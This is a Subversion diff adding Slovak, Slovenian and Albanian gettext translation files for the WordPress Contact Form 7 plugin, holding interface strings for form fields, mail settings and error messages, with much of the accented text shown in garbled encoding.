+msgid "Large"
+msgstr "ÐÐŸÐ»ÑÑÐŸÐ¹"
+
+#: contact-form-7/includes/admin-panel.php:199
+msgid "Label"
+msgstr "Ð¯ÑÐ»ÑÐº"
+
+#: contact-form-7/includes/admin-panel.php:206
+msgid "Insert"
+msgstr "ÐÑÑÐ°Ð²ÐžÑÑ"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sk.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sk.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sk.po	(revision 44)
@@ -0,0 +1,468 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-05-31 23:05+0900\n"
+"PO-Revision-Date: 2009-06-09 00:40+0100\n"
+"Last-Translator: \n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Contact form"
+msgstr "KontaktnÃœ formulÃ¡r"
+
+#: contact-form-7/admin/admin-panel.php:6
+#: contact-form-7/admin/admin.php:111
+msgid "Contact Form 7"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:21
+msgid "Add new"
+msgstr "Vytvor novÃœ formulÃ¡r"
+
+#: contact-form-7/admin/admin-panel.php:43
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "SkopÃ­rujte tento kÃ³d do vÃ¡Å¡ho ÄlÃ¡nku, strÃ¡nky, alebo textovÃ©ho widgetu."
+
+#: contact-form-7/admin/admin-panel.php:50
+#: contact-form-7/admin/admin-panel.php:290
+msgid "Save"
+msgstr "UloÅŸiÅ¥"
+
+#: contact-form-7/admin/admin-panel.php:57
+msgid "Copy"
+msgstr "KopÃ­rovaÅ¥"
+
+#: contact-form-7/admin/admin-panel.php:61
+msgid "Delete"
+msgstr "VymazaÅ¥"
+
+#: contact-form-7/admin/admin-panel.php:63
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "Naozaj chcete vymazaÅ¥ tento formulÃ¡r ?"
+
+#: contact-form-7/admin/admin-panel.php:78
+msgid "Form"
+msgstr "FormulÃ¡r"
+
+#: contact-form-7/admin/admin-panel.php:98
+msgid "Mail"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:105
+#: contact-form-7/admin/admin-panel.php:161
+msgid "To:"
+msgstr "Komu:"
+
+#: contact-form-7/admin/admin-panel.php:109
+#: contact-form-7/admin/admin-panel.php:165
+msgid "From:"
+msgstr "Od:"
+
+#: contact-form-7/admin/admin-panel.php:113
+#: contact-form-7/admin/admin-panel.php:169
+msgid "Subject:"
+msgstr "Predmet:"
+
+#: contact-form-7/admin/admin-panel.php:118
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Additional headers:"
+msgstr "DodatoÄnÃ© hlaviÄky:"
+
+#: contact-form-7/admin/admin-panel.php:122
+#: contact-form-7/admin/admin-panel.php:178
+msgid "File attachments:"
+msgstr "PrÃ­lohy:"
+
+#: contact-form-7/admin/admin-panel.php:124
+#: contact-form-7/admin/admin-panel.php:180
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Potrebujete Wordpress 2.7, alebo vyÅ¡Å¡Ã­, aby ste mohli pouÅŸiÅ¥ tÃºto  funkciu)"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:188
+msgid "Use HTML content type"
+msgstr "PouÅŸiÅ¥ HTML"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:193
+msgid "Message body:"
+msgstr "Text sprÃ¡vy:"
+
+#: contact-form-7/admin/admin-panel.php:148
+msgid "Mail (2)"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:155
+msgid "Use mail (2)"
+msgstr "PouÅŸiÅ¥ mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:204
+msgid "Messages"
+msgstr "SprÃ¡vy"
+
+#: contact-form-7/admin/admin-panel.php:212
+msgid "Sender's message was sent successfully"
+msgstr "UÅŸÃ­vateÄŸova sprÃ¡va bola ÃºspeÅ¡ne odoslanÃ¡"
+
+#: contact-form-7/admin/admin-panel.php:216
+msgid "Sender's message was failed to send"
+msgstr "Nastala chyba pri odosielanÃ­ uÅŸÃ­vateÄŸovej sprÃ¡vy"
+
+#: contact-form-7/admin/admin-panel.php:220
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet oznaÄil odosielanie formulÃ¡ra ako spam"
+
+#: contact-form-7/admin/admin-panel.php:224
+msgid "Validation errors occurred"
+msgstr "Nastala chyba pri validÃ¡cii formulÃ¡ra"
+
+#: contact-form-7/admin/admin-panel.php:228
+msgid "There is a field that sender is needed to fill in"
+msgstr "NejakÃ© povinnÃ© pole ostalo nevyplnenÃ©"
+
+#: contact-form-7/admin/admin-panel.php:232
+msgid "Email address that sender entered is invalid"
+msgstr "Email adresa zadanÃ¡ uÅŸÃ­vateÄŸom je neplatnÃ¡"
+
+#: contact-form-7/admin/admin-panel.php:236
+msgid "There is a field of term that sender is needed to accept"
+msgstr "UÅŸÃ­vatel musÃ­ sÃºhlasiÅ¥ s podmienkami"
+
+#: contact-form-7/admin/admin-panel.php:240
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "OdosielaÄŸ nevyplnil sprÃ¡vnu odpoveÄ z kvÃ­zu"
+
+#: contact-form-7/admin/admin-panel.php:244
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "UÅŸÃ­vateÄŸom zadanÃœ kÃ³d je inÃœ ako CAPTCHA kÃ³d"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Uploading a file fails for any reason"
+msgstr "NahrÃ¡vanie sÃºboru z nejakÃ©ho dÃŽvodu zlyhalo"
+
+#: contact-form-7/admin/admin-panel.php:252
+msgid "Uploaded file is not allowed file type"
+msgstr "Typ nahranÃ©ho sÃºboru nie je povolenÃœ"
+
+#: contact-form-7/admin/admin-panel.php:256
+msgid "Uploaded file is too large"
+msgstr "NahranÃœ sÃºbor je prÃ­liÅ¡ veÄŸkÃœ"
+
+#: contact-form-7/admin/admin-panel.php:269
+msgid "Additional Settings"
+msgstr "DodatoÄnÃ© nastavenia"
+
+#: contact-form-7/admin/admin.php:157
+msgid "optional"
+msgstr "voliteÄŸnÃ©"
+
+#: contact-form-7/admin/admin.php:158
+msgid "Generate Tag"
+msgstr "Generuj Tag"
+
+#: contact-form-7/admin/admin.php:159
+msgid "Text field"
+msgstr "TextovÃ© pole"
+
+#: contact-form-7/admin/admin.php:160
+msgid "Email field"
+msgstr "Email pole"
+
+#: contact-form-7/admin/admin.php:161
+msgid "Text area"
+msgstr "TextovÃ© pole (viac riadkov)"
+
+#: contact-form-7/admin/admin.php:162
+msgid "Drop-down menu"
+msgstr "RozbaÄŸovacie menu"
+
+#: contact-form-7/admin/admin.php:163
+msgid "Checkboxes"
+msgstr "ZaÅ¡krtÃ¡vacie polÃ­Äka"
+
+#: contact-form-7/admin/admin.php:164
+msgid "Radio buttons"
+msgstr "TlaÄidlÃ¡ voÄŸby (radio buttons)"
+
+#: contact-form-7/admin/admin.php:165
+msgid "Acceptance"
+msgstr "AkceptÃ¡cia"
+
+#: contact-form-7/admin/admin.php:166
+msgid "Make this checkbox checked by default?"
+msgstr "Nastavit toto polÃ­Äko ako vybratÃ© ?"
+
+#: contact-form-7/admin/admin.php:167
+msgid "Make this checkbox work inversely?"
+msgstr "NastaviÅ¥ toto polÃ­Äko, aby fungovalo inverzne ?"
+
+#: contact-form-7/admin/admin.php:168
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* To znamenÃ¡, ÅŸe uÅŸÃ­vateÄŸ, ktorÃœ sÃºhlasil s podmienkami, zruÅ¡il svoj sÃºhlas."
+
+#: contact-form-7/admin/admin.php:169
+msgid "CAPTCHA"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:170
+msgid "Quiz"
+msgstr "KvÃ­z"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Quizzes"
+msgstr "KvÃ­zy"
+
+#: contact-form-7/admin/admin.php:172
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* kvÃ­z|odpoveÄ (napr. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:173
+msgid "File upload"
+msgstr "Nahratie sÃºboru"
+
+#: contact-form-7/admin/admin.php:174
+msgid "bytes"
+msgstr "bajtov"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Submit button"
+msgstr "Porvrdzovacie tlaÄÃ­tko"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Name"
+msgstr "Meno"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Required field?"
+msgstr "PovinnÃ¡ poloÅŸka ?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Allow multiple selections?"
+msgstr "PovoliÅ¥ viacnÃ¡sobnÃœ vÃœber ?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "Insert a blank item as the first option?"
+msgstr "VloÅŸiÅ¥ prÃ¡zdnu prvÃº poloÅŸku ?"
+
+#: contact-form-7/admin/admin.php:180
+msgid "Make checkboxes exclusive?"
+msgstr "NastaviÅ¥ zaÅ¡krtÃ¡vacie polÃ­Äka ako exkluzÃ­vne ?"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Choices"
+msgstr "MoÅŸnosti"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Label"
+msgstr "OznaÄenie"
+
+#: contact-form-7/admin/admin.php:183
+msgid "Default value"
+msgstr "PredvolenÃ¡ hodnota"
+
+#: contact-form-7/admin/admin.php:184
+msgid "Akismet"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:185
+msgid "This field requires author's name"
+msgstr "TÃ¡to poloÅŸka vyÅŸaduje meno autora"
+
+#: contact-form-7/admin/admin.php:186
+msgid "This field requires author's URL"
+msgstr "TÃ¡to poloÅŸka vyÅŸaduje URL autora"
+
+#: contact-form-7/admin/admin.php:187
+msgid "This field requires author's email address"
+msgstr "TÃ¡to poloÅŸka vyÅŸaduje email adresu autora"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Copy this code and paste it into the form left."
+msgstr "SkopÃ­rujte tento kÃ³d do formulÃ¡ra vÄŸavo."
+
+#: contact-form-7/admin/admin.php:189
+msgid "Foreground color"
+msgstr "Farba popredia"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Background color"
+msgstr "Farba pozadia"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Image size"
+msgstr "VeÄŸkosÅ¥ obrÃ¡zku"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Small"
+msgstr "MalÃœ"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Medium"
+msgstr "StrednÃœ"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Large"
+msgstr "VeÄŸkÃœ"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Image settings"
+msgstr "Nastavenia obrÃ¡zkov"
+
+#: contact-form-7/admin/admin.php:196
+msgid "Input field settings"
+msgstr "Nastavenia vstupnÃœch polÃ­"
+
+#: contact-form-7/admin/admin.php:197
+msgid "For image"
+msgstr "Pre obrÃ¡zok"
+
+#: contact-form-7/admin/admin.php:198
+msgid "For input field"
+msgstr "Pre vstupnÃ© pole"
+
+#: contact-form-7/admin/admin.php:199
+msgid "* One choice per line."
+msgstr "* Jedna moÅŸnosÅ¥ na riadok."
+
+#: contact-form-7/admin/admin.php:200
+msgid "Show"
+msgstr "UkÃ¡zaÅ¥"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Hide"
+msgstr "SkryÅ¥"
+
+#: contact-form-7/admin/admin.php:202
+msgid "File size limit"
+msgstr "MaximÃ¡lna veÄŸkosÅ¥ sÃºboru"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Acceptable file types"
+msgstr "PovolenÃ© typy sÃºboru"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "PoznÃ¡mka: Aby ste mohli pouÅŸiÅ¥ CAPTCHA, tak musÃ­te nainÅ¡talovaÅ¥ modul Really Simple CAPTCHA."
+
+#: contact-form-7/admin/admin.php:223
+msgid "Contact form created."
+msgstr "KontaktnÃœ formulÃ¡r bol vytvorenÃœ."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form saved."
+msgstr "KontaktnÃœ formulÃ¡r bol uloÅŸenÃœ."
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form deleted."
+msgstr "KontaktnÃœ formulÃ¡r bol vymazanÃœ."
+
+#: contact-form-7/admin/admin.php:240
+msgid "Untitled"
+msgstr "Bez nÃ¡zvu"
+
+#: contact-form-7/admin/admin.php:253
+msgid "Your Name"
+msgstr "VaÅ¡e meno"
+
+#: contact-form-7/admin/admin.php:253
+#: contact-form-7/admin/admin.php:255
+msgid "(required)"
+msgstr "(povinnÃ©)"
+
+#: contact-form-7/admin/admin.php:255
+msgid "Your Email"
+msgstr "VÃ¡Å¡ email"
+
+#: contact-form-7/admin/admin.php:257
+msgid "Subject"
+msgstr "Predmet"
+
+#: contact-form-7/admin/admin.php:259
+msgid "Your Message"
+msgstr "VaÅ¡a sprÃ¡va"
+
+#: contact-form-7/admin/admin.php:261
+#: contact-form-7/includes/classes.php:411
+msgid "Send"
+msgstr "OdoÅ¡li"
+
+#: contact-form-7/admin/admin.php:334
+msgid "Settings"
+msgstr "Nastavenia"
+
+#: contact-form-7/admin/admin.php:355
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 potrebuje VaÅ¡u pomoc. ProsÃ­m prispejte dnes."
+
+#: contact-form-7/admin/admin.php:356
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Je tento modul pre VÃ¡s uÅŸitoÄnÃœ ? Ak chcete, tak pomÃŽÅŸte vÃœvojÃ¡rovi."
+
+#: contact-form-7/admin/admin.php:357
+msgid "Your contribution is needed for making this plugin better."
+msgstr "VaÅ¡a podpora je potrebnÃ¡, aby bol tento modul lepÅ¡Ã­."
+
+#: contact-form-7/admin/admin.php:358
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Vytvorenie modulu a poskytvanie uÅŸÃ­vateÄŸskej podpory je Å¥aÅŸkÃ¡ prÃ¡ca. ProsÃ­m pomÃŽÅŸte."
+
+#: contact-form-7/includes/classes.php:352
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "Pre pouÅŸÃ­vanie CAPTCHA nainÅ¡talujte <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> modul."
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "VaÅ¡a sprÃ¡va bola ÃºspeÅ¡ne odoslanÃ¡. VÄaka."
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Nastala chyba pri odosielanÃ­ VaÅ¡ej sprÃ¡vy. SkÃºste znovu, alebo kontaktujte administrÃ¡tora."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Nastala chyba pri validÃ¡cii formulÃ¡ra. ProsÃ­m skontrolujte jednotlivÃ© poloÅŸky a znovu odoÅ¡lite formulÃ¡r."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "ProsÃ­m sÃºhlaste s podmienkami, aby ste mohli pokraÄovaÅ¥."
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "ProsÃ­m skontrolujte Email adresu."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "ProsÃ­m vyplnte povinnÃº poloÅŸku."
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Vami vloÅŸenÃœ kÃ³d je nesprÃ¡vny."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "VaÅ¡a odpoveÄ je nesprÃ¡vna."
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "NahrÃ¡vanie sÃºboru zlyhalo."
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Tento typ sÃºboru nie je povolenÃœ."
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "SÃºbor je prÃ­liÅ¡ veÄŸkÃœ."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sl_SI.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sl_SI.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sl_SI.po	(revision 44)
@@ -0,0 +1,213 @@
+# Mihael SimoniÄ, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7-de_DE\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-10-25 13:59+0200\n"
+"Last-Translator: Mihael SimoniÄ\n"
+"Language-Team: Slovenian\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Slovene\n"
+"X-Poedit-Country: SLOVENIA\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+"X-Generator: Lokalize 0.2\n"
+"Plural-Forms: nplurals=4; plural=(n%100==1 ? 1 : n%100==2 ? 2 : n%100==3 || n%100==4 ? 3 : 0);\n"
+
+#: contact-form-7/wp-contact-form-7.php:224
+#: contact-form-7/wp-contact-form-7.php:297
+msgid "Contact form"
+msgstr "Kontaktni obrazec"
+
+#: contact-form-7/wp-contact-form-7.php:253
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:273
+#, php-format
+msgid "Contact form \"%s\" deleted. "
+msgstr "Kontaktni obrazec \"%s\" je bil izbrisan."
+
+#: contact-form-7/wp-contact-form-7.php:289
+#, php-format
+msgid "Contact form \"%s\" saved. "
+msgstr "Kontaktni obrazec \"%s\"je bil shranjen."
+
+#: contact-form-7/wp-contact-form-7.php:318
+msgid "Your Name"
+msgstr "VaÅ¡e pravo ime"
+
+#: contact-form-7/wp-contact-form-7.php:318
+#: contact-form-7/wp-contact-form-7.php:320
+msgid "(required)"
+msgstr "(obvezno)"
+
+#: contact-form-7/wp-contact-form-7.php:320
+msgid "Your Email"
+msgstr "VaÅ¡ E-naslov"
+
+#: contact-form-7/wp-contact-form-7.php:322
+msgid "Subject"
+msgstr "Predmet"
+
+#: contact-form-7/wp-contact-form-7.php:324
+msgid "Your Message"
+msgstr "VaÅ¡e sporoÄilo"
+
+#: contact-form-7/wp-contact-form-7.php:326
+#: contact-form-7/wp-contact-form-7.php:738
+msgid "Send"
+msgstr "PoÅ¡lji"
+
+#: contact-form-7/wp-contact-form-7.php:345
+msgid "Your message was sent successfully. Thanks."
+msgstr "VaÅ¡e sproroÄilo je bilo uspeÅ¡no poslano. Hvala."
+
+#: contact-form-7/wp-contact-form-7.php:347
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Med poÅ¡iljanjem sporoÄila je priÅ¡lo do napake. Prosimo poskustite kasnjeje ali pa kontaktirate administratorja strani drugaÄe."
+
+#: contact-form-7/wp-contact-form-7.php:349
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Obrazec je neveljaven. Prosimo preverite vsebino polij."
+
+#: contact-form-7/wp-contact-form-7.php:351
+msgid "Email address seems invalid."
+msgstr "VaÅ¡ E-naslov vsebuje nedovoljene znake."
+
+#: contact-form-7/wp-contact-form-7.php:353
+msgid "Please fill the required field."
+msgstr "Prosimo, da izpolnite vsa obvezna pojla."
+
+#: contact-form-7/wp-contact-form-7.php:355
+msgid "Your entered code is incorrect."
+msgstr "VneÅ¡ana koda je napaÄna."
+
+#: contact-form-7/includes/admin-panel.php:19
+#: contact-form-7/includes/admin-panel.php:22
+msgid "Add new"
+msgstr "Dodaj nov obrazec"
+
+#: contact-form-7/includes/admin-panel.php:34
+msgid "Title"
+msgstr "Naslov"
+
+#: contact-form-7/includes/admin-panel.php:39
+msgid "Copy and paste this code into your post content."
+msgstr "Kopirajte in prilepite to besedilo v sporoÄilo."
+
+#: contact-form-7/includes/admin-panel.php:45
+msgid "Form content"
+msgstr "Vsebina obrazca"
+
+#: contact-form-7/includes/admin-panel.php:60
+msgid "Mail template"
+msgstr "Predlagano besedilo e-poÅ¡te"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Subject field:"
+msgstr "Naslov teme:"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Sender field:"
+msgstr "PoÅ¡iljatelj:"
+
+#: contact-form-7/includes/admin-panel.php:65
+msgid "Message body:"
+msgstr "Telo sporoÄila:"
+
+#: contact-form-7/includes/admin-panel.php:69
+msgid "Options"
+msgstr "MoÅŸnosti"
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Recipient address:"
+msgstr "Naslov prejemnika:"
+
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Save"
+msgstr "Shrani"
+
+#: contact-form-7/includes/admin-panel.php:82
+msgid "Delete this contact form"
+msgstr "IzbriÅ¡i ta kontaktni obrazec"
+
+#: contact-form-7/includes/admin-panel.php:83
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Izbrisali boste ta kontaktni formular.\n"
+" 'PrekliÄi' za prekinitev in 'OK' za nadaljevanje."
+
+#: contact-form-7/includes/admin-panel.php:137
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/includes/admin-panel.php:138
+msgid "Check this field as sender&#39;s name"
+msgstr "To polje vsebuje poÅ¡iljateljevo ime. Preveri za spam."
+
+#: contact-form-7/includes/admin-panel.php:139
+msgid "Check this field as sender&#39;s email"
+msgstr "To polje vsebuje poÅ¡iljateljev e-naslov. Preveri za spam."
+
+#: contact-form-7/includes/admin-panel.php:140
+msgid "Check this field as sender&#39;s URL"
+msgstr "To polje vsebuje naslov poÅ¡iljateljeve spletne strani. Preveri za spam."
+
+#: contact-form-7/includes/admin-panel.php:141
+msgid "Don&#39;t check this field with Akismet"
+msgstr "Ne preveri tega polja z orodjem Askimet - preverjalnik za spam."
+
+#: contact-form-7/includes/admin-panel.php:148
+#: contact-form-7/includes/admin-panel.php:161
+#: contact-form-7/includes/admin-panel.php:194
+msgid "Default value"
+msgstr "Privzeta vrednost"
+
+#: contact-form-7/includes/admin-panel.php:169
+msgid "Choices"
+msgstr "Izbira"
+
+#: contact-form-7/includes/admin-panel.php:170
+msgid "* One choice per line."
+msgstr "* Ena moÅŸnost izbire na vrstico"
+
+#: contact-form-7/includes/admin-panel.php:178
+msgid "Foreground color"
+msgstr "Barva ospredja"
+
+#: contact-form-7/includes/admin-panel.php:179
+msgid "Background color"
+msgstr "Brava ozadja"
+
+#: contact-form-7/includes/admin-panel.php:180
+msgid "Image size"
+msgstr "Velikost slike"
+
+#: contact-form-7/includes/admin-panel.php:182
+msgid "Small"
+msgstr "majhna"
+
+#: contact-form-7/includes/admin-panel.php:183
+msgid "Medium"
+msgstr "srednja "
+
+#: contact-form-7/includes/admin-panel.php:184
+msgid "Large"
+msgstr "velika"
+
+#: contact-form-7/includes/admin-panel.php:199
+msgid "Label"
+msgstr "Oznaka"
+
+#: contact-form-7/includes/admin-panel.php:206
+msgid "Insert"
+msgstr "Vstavi"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sq.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sq.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sq.po	(revision 44)
@@ -0,0 +1,305 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7-lv_LV\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-11-02 21:09+0900\n"
+"Last-Translator: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"Language-Team: Kleofass.lv <spam@kleofass.lv>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Latvian\n"
+"X-Poedit-Country: LATVIA\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:271
+msgid "Contact form"
+msgstr "Form Kontakti"
+
+#: contact-form-7/wp-contact-form-7.php:356
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Form Kontakti 7"
+
+#: contact-form-7/wp-contact-form-7.php:372
+msgid "optional"
+msgstr "opsionale"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Generate Tag"
+msgstr "Gjenero EtiketÃ«"
+
+#: contact-form-7/wp-contact-form-7.php:374
+msgid "Text field"
+msgstr "Fusha e tekstit"
+
+#: contact-form-7/wp-contact-form-7.php:375
+msgid "Email field"
+msgstr "Fusha e tekstit"
+
+#: contact-form-7/wp-contact-form-7.php:376
+msgid "Text area"
+msgstr "HapÃ«sira e tekstit"
+
+#: contact-form-7/wp-contact-form-7.php:377
+msgid "Drop-down menu"
+msgstr "Menu Drop-Down"
+
+#: contact-form-7/wp-contact-form-7.php:378
+msgid "Checkboxes"
+msgstr "Kuti Zgjedhje"
+
+#: contact-form-7/wp-contact-form-7.php:379
+msgid "Radio buttons"
+msgstr "Butona Radio"
+
+#: contact-form-7/wp-contact-form-7.php:380
+msgid "Acceptance"
+msgstr "Pranim"
+
+#: contact-form-7/wp-contact-form-7.php:381
+msgid "Make this checkbox checked by default?"
+msgstr "BÃ«je kÃ«tÃ« kuti te zgjedhur qÃ« nÃ« fillim?"
+
+#: contact-form-7/wp-contact-form-7.php:382
+msgid "Make this checkbox work inversely?"
+msgstr "BÃ«je kÃ«te kuti te punojÃ« nÃ« tÃ« kundÃ«rt?"
+
+#: contact-form-7/wp-contact-form-7.php:383
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Kjo do tÃ« thotÃ« qÃ« vizitori qÃ« pranon ktÃ« term nuk e zgjedh atÃ«"
+
+#: contact-form-7/wp-contact-form-7.php:384
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:385
+msgid "Submit button"
+msgstr "Butoni i Pranimit"
+
+#: contact-form-7/wp-contact-form-7.php:386
+msgid "Name"
+msgstr "Emri"
+
+#: contact-form-7/wp-contact-form-7.php:387
+msgid "Required field?"
+msgstr "Fusha tÃ« domosdoshme"
+
+#: contact-form-7/wp-contact-form-7.php:388
+msgid "Allow multiple selections?"
+msgstr "Lejo zgjedhje tÃ« shumta"
+
+#: contact-form-7/wp-contact-form-7.php:389
+msgid "Insert a blank item as the first option?"
+msgstr "Vendos njÃ« gjÃ« bosh si opsionin e parÃ«?"
+
+#: contact-form-7/wp-contact-form-7.php:390
+msgid "Make checkboxes exclusive?"
+msgstr "Beji kutitÃ« e zgjedhjeve eksluzive?"
+
+#: contact-form-7/wp-contact-form-7.php:391
+msgid "Choices"
+msgstr "Zgjedhje"
+
+#: contact-form-7/wp-contact-form-7.php:392
+msgid "Label"
+msgstr "EtiketÃ«"
+
+#: contact-form-7/wp-contact-form-7.php:393
+msgid "Default value"
+msgstr "Vlera fillestare"
+
+#: contact-form-7/wp-contact-form-7.php:394
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:395
+msgid "This field requires author's name"
+msgstr "Kjo fushÃ« kÃ«rkon emrin e autorit"
+
+#: contact-form-7/wp-contact-form-7.php:396
+msgid "This field requires author's URL"
+msgstr "Kjo fushÃ« kÃ«rkon URL-nÃ« e autorit"
+
+#: contact-form-7/wp-contact-form-7.php:397
+msgid "This field requires author's email address"
+msgstr "Kjo fushÃ« kÃ«rkon adresen e autorit"
+
+#: contact-form-7/wp-contact-form-7.php:398
+msgid "Copy and paste this code into the form"
+msgstr "Kopjo dhe ngjit kÃ«te kod tek forma"
+
+#: contact-form-7/wp-contact-form-7.php:399
+msgid "Foreground color"
+msgstr "Ngjyra e Forgroundit"
+
+#: contact-form-7/wp-contact-form-7.php:400
+msgid "Background color"
+msgstr "Ngjyra e Backgroundit"
+
+#: contact-form-7/wp-contact-form-7.php:401
+msgid "Image size"
+msgstr "MadhÃ«sia e imazhit"
+
+#: contact-form-7/wp-contact-form-7.php:402
+msgid "Small"
+msgstr "E vogÃ«l"
+
+#: contact-form-7/wp-contact-form-7.php:403
+msgid "Medium"
+msgstr "Mesatare"
+
+#: contact-form-7/wp-contact-form-7.php:404
+msgid "Large"
+msgstr "E madhe"
+
